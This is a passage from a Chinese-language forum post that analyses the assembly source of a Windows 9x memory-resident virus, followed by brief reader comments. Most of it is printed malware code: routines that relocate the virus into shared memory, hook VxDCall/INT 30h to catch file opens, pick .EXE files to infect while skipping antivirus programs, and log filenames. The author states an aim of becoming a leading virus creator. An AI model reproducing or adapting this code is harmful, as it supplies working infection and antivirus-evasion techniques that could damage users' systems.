je End_CanMachineBeInfected
;Close the file, and return 0, since its probably my machine
call esi + CloseHandle, eax
xor eax, eax ;返回0,没有被感染
End_CanMachineBeInfected:
ret
CanMachineBeInfected ENDP
检查完机器是否感染之后,就调用(5)RelocateVirus,将病毒代码放在一个重置地址处,在这里是存放在一个公享内存区
RelocateVirus PROC
LOCAL dwDeltaOffset:DWORD, \
dwMemoryRegion:DWORD
@DELTA esi
mov [dwDeltaOffset], esi
;重新保存内存地址
@DELTA esi
call esi + VxDCall, PageReserve, PR_SHARED, VIRUS_SIZE_PAGES, \
PC_WRITEABLE OR PC_USER
cmp eax, INVALID_HANDLE_VALUE ;分配内存
je Error_RelocateVirus
cmp eax, SHARED_MEMORY ;是否是共享内存段
jb Error_RelocateVirus
;保存区域地址
mov [dwMemoryRegion], eax
;共享内存
shr eax, 0Ch ;页数据
mov esi, [dwDeltaOffset]
call esi + VxDCall, PageCommit, eax, VIRUS_SIZE_PAGES, PD_ZEROINIT, 0, \
PC_WRITEABLE OR PC_USER OR PC_PRESENT OR PC_FIXED
or eax,eax
je Error_RelocateVirus
;拷贝病毒
mov esi, dwDeltaOffset
add esi, offset StartOfVirusCode ;从这里开始拷贝源地址
mov edi, [dwMemoryRegion] ;拷贝到这里来目标地址
mov ecx, VIRUS_SIZE ;长度
rep movsb
mov eax, [dwMemoryRegion] ;返回被分配的共享区域
jmp End_RelocateVirus
Error_RelocateVirus:
xor eax, eax
End_RelocateVirus:
ret
RelocateVirus ENDP
最后在主程序中,调用了(6)InstallHookProcedure来HOOK API用来监听VxDCall调用的API函数,我们来看看这个函数吧
InstallHookProcedure PROC
LOCAL dwDeltaOffset:DWORD
@DELTA esi
mov [dwDeltaOffset], esi
;修改JMP指令, 指向OldInt30地址
mov eax, esi
add eax, offset OldInt30Address ;修改字节
mov ebx, esi
add ebx, offset OldInt30 ;OldInt30的直址
mov [eax], ebx ;修改JMP指令
;反汇编VxDCall函数如下:
;
;8B 44 24 04 MOV EAX, DWORD PTR [ESP+04h]
;8F 04 24 POP DWORD PTR [ESP]
;2E FF 1D XX XX XX XX CALL FWORD PTR CS:[XXXXXXXX]
;
;先保存原来的OldInt30地址,然后修改JMP地址,使它跳到我们的地址处,然后在根据保存的原来的值,返回
add esi, offset VxDCall
mov esi, [esi] ;VxDCall函数第一个字节
mov ecx, 50 ;扫描50个字节
TraceVxDCall:
lodsb ;得到当前字节
cmp al, 2Eh ;第一个字节是否是CALL
jne TraceVxDCall_NextByte ;不是,则检查下一个
cmp word ptr [esi], 1DFFh ;然后检查指令下两个字节
je TraceVxDCall_AddressFound
TraceVxDCall_NextByte:
loop TraceVxDCall ;继续检查
TraceVxDCall_AddressFound:
;保存当前INT 30h地址
cli ;不能避免被中断
lodsw ;跳过FF 1D
lodsd ;指向INT 30h instruction, XXXXXXXX
mov esi, eax ;从这拷内字节
mov edi, [dwDeltaOffset]
add edi, offset OldInt30 ;到这里来
mov ecx, 6 ;保存6个字节
rep movsb
;设置新的INT 30h句柄
mov edi, eax ;指向INT 30h instruction
mov eax, [dwDeltaOffset]
add eax, offset VxDInt30Handler ;拷贝这个地址
stosd ;保存四个字节
mov ax, cs
stosw
sti ;句柄安装完成允许中断
ret
InstallHookProcedure ENDP
这面这段代码是Hook API经典之作吧,好多Hook API都会用到上面的技术~驱动中用的也比较多
其实原理很简单就是,当我们正常执行跳转时,修改要跳转的那几个字节,把它指向我们要他跳转的地址,然后又通过前面保存的修改的那个地方的地址,返回来,继
续执行
下面我们分析,他Hook之后去执行了函数吧
VxDInt30Handler PROC
pushad ;保存所有寄存器值
;确保我们不是处理自己的调用
@OFFSET ebp, VxDCall_Busy
cmp byte ptr [ebp], TRUE ;病毒是否正在运行之中
je Exit_VxDInt30Handler
;Process only INT 21h Services
cmp eax, VWIN32_Int21Dispatch ;是否是INt 21h
jne Exit_VxDInt30Handler
mov eax,dword ptr [esp+0000002Ch] ;得到21h
cmp ax, RESIDENCY_CHECK_SERVICE ;检查是否驻留
je Residency_Check
cmp ax, LFN_OPEN_FILE_EXTENDED
je Extended_File_Open
jmp Exit_VxDInt30Handler ;没有,则转到默认处理处
Residency_Check:
;Virus Residency Check
popad ;保存寄存器和堆栈
mov esi, RESIDENCY_SUCCESS ;告诉调用者,已经驻留了
jmp Original_VxDInt30Handler ;去执行一般的处理
Extended_File_Open:
;被重新载入
@OFFSET eax, VxDCall_Busy
mov byte ptr [eax], TRUE
push esi
(*) call IsFilenameOK, esi
pop esi
or eax, eax
jz File_Not_Executable
;Do Stuff
(*) call OutputFileName
File_Not_Executable:
;完成处理
@OFFSET eax, VxDCall_Busy
mov byte ptr [eax], FALSE
Exit_VxDInt30Handler:
popad ;保存,在转换之前
Original_VxDInt30Handler:
;将接下来的几个字节转变为JMP FWORD PTR CS:[00000000]
DB 2Eh, 0FFh, 2Dh ;跳到FWORD PTR CS:[XXXXXXXX]
OldInt30Address: ;后面的四个字节将被代替 the
DB 4 DUP (0) ;OldInt30在内存中的地址
;ret ;如果不需要,我们就跳走
VxDInt30Handler ENDP
这个函数中调用了两个子函数,(*)IsFilenameOK来判断文件是否被感染
判断原则:
(1)文件名不能少于五个字节,因为我们要感染.EXE文件,所以最小的长为也要五个字节
(2)文件的后缀名应该为.EXE(或.XYZ for 调试)
(3)文件不能包含viz,AV,AN,F-这些常字符串,他们会阻止感染
IsFilenameOK PROC ife_szFilename
LOCAL szExtention[4]:BYTE
;检查文件名长度
mov esi, ife_szFilename
(*) call StringLength, esi ;得到文件名长度
cmp eax, 4 ;如果文件名长度小于5个字节
jl Error_IsFilenameOk ;是的,不感染
push eax ;保存文件长度
;Get File Extention
mov eax, [esi + eax - 4] ;文件扩展名(包含.)
lea edx, szExtention ;得到扩展缓冲区地址
mov [edx], eax ;存储扩展缓冲区地址
;Convert to upper case
mov ecx, 3 ;三个字符被转换
ToUpperCase:
inc edx ;.字符不检查大小写
cmp byte ptr [edx], "a"
jl NextCharacter
cmp byte ptr [edx], "z"
jg NextCharacter
sub byte ptr [edx], "a" - "A" ;转换为小写
NextCharacter:
loop ToUpperCase
pop ecx ;得到文件名长度
;Check the Extention
IF DEBUG
cmp dword ptr [edx - 3], "ZYX." ;扩展名为.XYZ,只在调试时
ELSE
ERR "Release Mode, Executables will be Infected !!!"
cmp dword ptr [edx - 3], "EXE." ;判断扩展名是否为.XYZ,只要调试时
ENDIF
jne Error_IsFilenameOk ;如果不是,则扩展名不相配
;Check Anti-Virus Program Files
dec ecx ;检查两个字节,最后一个字节不为reqd
CheckAntiVirusFiles:
cmp word ptr [esi], "VA" ;"AV"; for NAV (Norton), TBAV (ThunderByte)
je Error_IsFilenameOk
cmp word ptr [esi], "va"
je Error_IsFilenameOk
cmp word ptr [esi], "-F" ;"F-"; for F-PROT
je Error_IsFilenameOk
cmp word ptr [esi], "NA" ;"AN", for SCAN (McAfee), CLEAN
je Error_IsFilenameOk
cmp word ptr [esi], "na"
je Error_IsFilenameOk
inc esi ;下一个字符
loop CheckAntiVirusFiles ;检查所有的
xor eax, eax
inc eax
jmp End_IsFilenameOk
Error_IsFilenameOk:
xor eax, eax
End_IsFilenameOk:
ret
IsFilenameOK ENDP
上面有一个得到文件名长度的函数(*)StringLength,如下所示
StringLength PROC sl_lpszString:DWORD
mov edi, sl_lpszString ;字符串
xor ecx, ecx
dec ecx
xor eax, eax ;查找NULL字符串
repne scasb ;查找结终符NULL
not ecx
dec ecx ;字符串长度
mov eax, ecx ;返回字符串长度
ret
StringLength ENDP
在我们自定义跳转的函数VxDInt30Handler中还调用了一个(*)OutputFileName ,用于创建文件,并写入数据
;------------------------------------------OutputFileName---------------------------------------------------------
OutputFileName PROC
LOCAL dwFilename:DWORD, \
dwDeltaOffset:DWORD
mov [dwFilename], esi
@DELTA esi
mov [dwDeltaOffset], esi
;创建文件用于写入
mov edx, [dwDeltaOffset]
add edx, offset szOutputFile
mov esi, 0BFF77ADFh
call esi, edx, GENERIC_READ OR GENERIC_WRITE, FILE_SHARE_READ, \
0, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0
cmp eax, INVALID_HANDLE_VALUE
je End_OutputFileName
;到文件未尾
push eax ;保存句柄
mov esi, 0BFF7713Fh ;设置文件指针
call esi, eax, 0, 0, 2
pop eax ;重新存储句柄
;得到文个名长度
push eax ;保存句柄
mov edx, [dwFilename]
mov esi, 0BFF773ADh ;lstrlen
call esi, edx
mov ebx, eax ;文件名长度
pop eax ;重新存储句柄
;写入文件
push eax ;保存句柄
push eax ;创造一个缓冲区written
lea ecx, [esp - 4]
mov edx, [dwFilename]
mov esi,0BFF76FD5h ;写文件
call esi, eax, edx, ebx, ecx, 0
pop eax ;删除缓冲区
pop eax ;重新存储文件句柄
;关闭文件句柄
mov esi, 0BFF7E064h
call esi, eax
End_OutputFileName:
ret
OutputFileName ENDP
这样一个程序就分析完成了,上面用的了加密与简单的多态,还用于了HOOK技术用于监听,这些技术对于病毒的写作者来说应该用的还是比较多的就看你怎么玩吧了~~
好了,就分析到这,我们学习病毒的源代码,最主要是的是学习它的一些经典技术,然后用在我们的病毒中,对于病毒技术,我会一直研究学习下去,并会一直在看雪上发一些文章,算是自己的一些学习经历和一些心得吧~~呵呵~~好了,有时间再经继续吧!
现在咱只是小菜一个,但只要咱坚持做下去,我相信咱会成为中国最具有潜力的病毒缔造者(只是爱好,不会做恶,这点大家可以放心)~~在这里给自己加油,打气~~
[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!
赞赏
|
|
---|---|
|
谢谢楼主的文章!
源码 |
|
强大.....什么时候偶也能分析这样滴东东.....
|
|
看源码怎么总感觉怪怪的!
|
|
楼主好毅力。
|
|
好东西,mark
|
- 2023年度总结 18225
- [原创]研究多态恶意软件,探讨网络安全与AI 6443
- 服务器被黑,安装Linux RootKit木马 13548
- 关于勒索病毒你不得不懂的知识点 14008
- 针对Uber被黑客攻击事件的简单分析 11787